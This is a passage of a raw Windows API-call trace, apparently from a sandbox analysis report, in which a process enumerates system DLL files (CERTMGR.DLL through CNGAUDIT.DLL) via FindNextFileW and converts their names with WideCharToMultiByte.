cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.461] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x226c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0140.461] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x226c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.461] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.461] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.461] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.461] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.461] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x226c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0140.462] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x226c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0140.462] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x226c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0140.462] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.462] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.462] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.462] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.462] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.462] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.463] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x226c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0140.463] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x226c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0140.463] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x226c288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0140.463] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x226c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0140.463] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.463] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.463] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x226c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.463] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 